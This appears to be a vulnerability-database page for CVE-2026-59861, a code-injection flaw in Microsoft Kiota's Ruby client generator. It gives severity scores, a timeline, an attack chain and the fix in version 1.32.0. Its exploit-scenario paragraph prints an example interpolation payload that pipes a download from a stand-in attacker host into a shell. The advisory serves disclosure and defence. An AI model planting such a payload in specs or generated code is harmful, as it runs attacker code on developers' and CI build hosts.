Skip to main content

Microsoft Kiota EUVDEUVD-2026-44926

| CVE-2026-59861 HIGH
Code Injection (CWE-94)
2026-07-16 GitHub_M
7.5
CVSS 3.1 · Vendor: GitHub_M
Share

Severity by source

Vendor (GitHub_M) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI
8.8 HIGH

Untrusted OpenAPI input yields arbitrary Ruby code execution (C/I/A:H), but a developer must actively run generation against the malicious spec, so UI:R; no attacker privileges needed (PR:N).

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

4
Patch available
Jul 16, 2026 - 17:03 EUVD
Source Code Evidence Fetched
Jul 16, 2026 - 15:02 vuln.today
Analysis Generated
Jul 16, 2026 - 15:02 vuln.today
CVE Published
Jul 16, 2026 - 14:36 cve.org
HIGH 7.5

DescriptionCVE.org

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.32.0, Kiota's Ruby generator embedded OpenAPI default fields, property names, and other schema-derived strings through CodeMethodWriter.cs and SanitizeForQuotedLiteral() in Writers/StringExtensions.cs into Ruby double-quoted literals without escaping #, allowing attacker-controlled #{expr}, #$var, or #@var interpolation markers to inject arbitrary Ruby code into generated model classes. This issue is fixed in version 1.32.0.

AnalysisAI

{expr}, #$var, or #@var markers are treated as live Ruby interpolation inside generated model classes. There is no public exploit identified at time of analysis and it is not in CISA KEV, but a fix is confirmed in release v1.32.0.

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Craft OpenAPI spec with Ruby #{} payload
Delivery
Deliver spec to victim developer/CI
Exploit
Victim runs Kiota Ruby generator
Execution
Payload embedded unescaped in model class
Persist
Generated code loaded/executed
Impact
Arbitrary Ruby runs on build host

Vulnerability AssessmentAI

Exploitation Exploitation requires (1) use of Kiota's Ruby language generator, (2) the victim generating a client from an OpenAPI description whose schema strings - default values, property/serialization/wire names, indexer parameter names, or discriminator property names - are attacker-controlled, and (3) the resulting generated Ruby code being loaded or run. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The signals here conflict and must be read carefully. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker publishes or supplies a malicious OpenAPI/Swagger document in which a property default or wire name contains a payload like "#{`curl attacker.sh|sh`}". A developer or CI pipeline runs Kiota's Ruby generator against that spec; the payload is written unescaped into a generated model class, and the embedded Ruby executes the moment the generated file is required or the model is instantiated. …
Remediation Vendor-released patch: 1.32.0 - upgrade Kiota to v1.32.0 or later (release https://github.com/microsoft/kiota/releases/tag/v1.32.0; fix in PR https://github.com/microsoft/kiota/pull/7746, commit fee1b648bb4394ba7ba72de9c0ce4f2a0bad0cb6). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Conduct a complete inventory of systems and applications using the affected library to establish scope and identify business-critical dependencies. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

EUVD-2026-44926 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy